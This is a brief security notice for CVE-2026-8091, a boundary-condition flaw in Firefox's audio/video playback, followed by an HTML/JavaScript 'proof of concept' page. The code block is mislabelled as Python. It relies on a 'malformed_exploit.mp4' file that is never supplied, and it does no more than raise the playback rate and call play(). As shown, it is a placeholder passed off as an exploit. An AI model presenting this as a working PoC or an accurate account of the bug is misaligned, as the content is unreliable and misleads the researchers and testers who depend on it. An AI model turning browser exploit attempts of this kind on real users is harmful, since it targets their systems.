Incorrect boundary conditions in the Audio/Video: Playback component. This vulnerability was fixed in Firefox 150, Thunderbird 150, Firefox ESR 140.10.1, Thunderbird 140.10.1, and Firefox ESR 115.35.2.
The following code is for security research and authorized testing only.
python
<!--
Proof of Concept (PoC) for CVE-2026-8091
This HTML snippet attempts to trigger the boundary condition vulnerability
in the Audio/Video Playback component of vulnerable Firefox versions.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-8091 PoC</title>
</head>
<body>
<h1>Testing Playback Boundary Condition</h1>
<!-- Malformed video source designed to hit the incorrect boundary check -->
<video controls>
<source src="malformed_exploit.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>
<script>
// Attempt to trigger the vulnerability through playback API manipulation
const video = document.querySelector('video');
video.addEventListener('canplay', () => {
console.log("Video loaded, attempting to trigger overflow...");
try {
// Manipulate playback rate or buffer to potentially hit the boundary condition
video.playbackRate = 16.0;
video.play();
} catch (e) {
console.log("Exception caught: " + e);
}
});
// Error handling to observe crashes
video.addEventListener('error', (e) => {
console.log("Video error event fired.");
});
</script>
</body>
</html>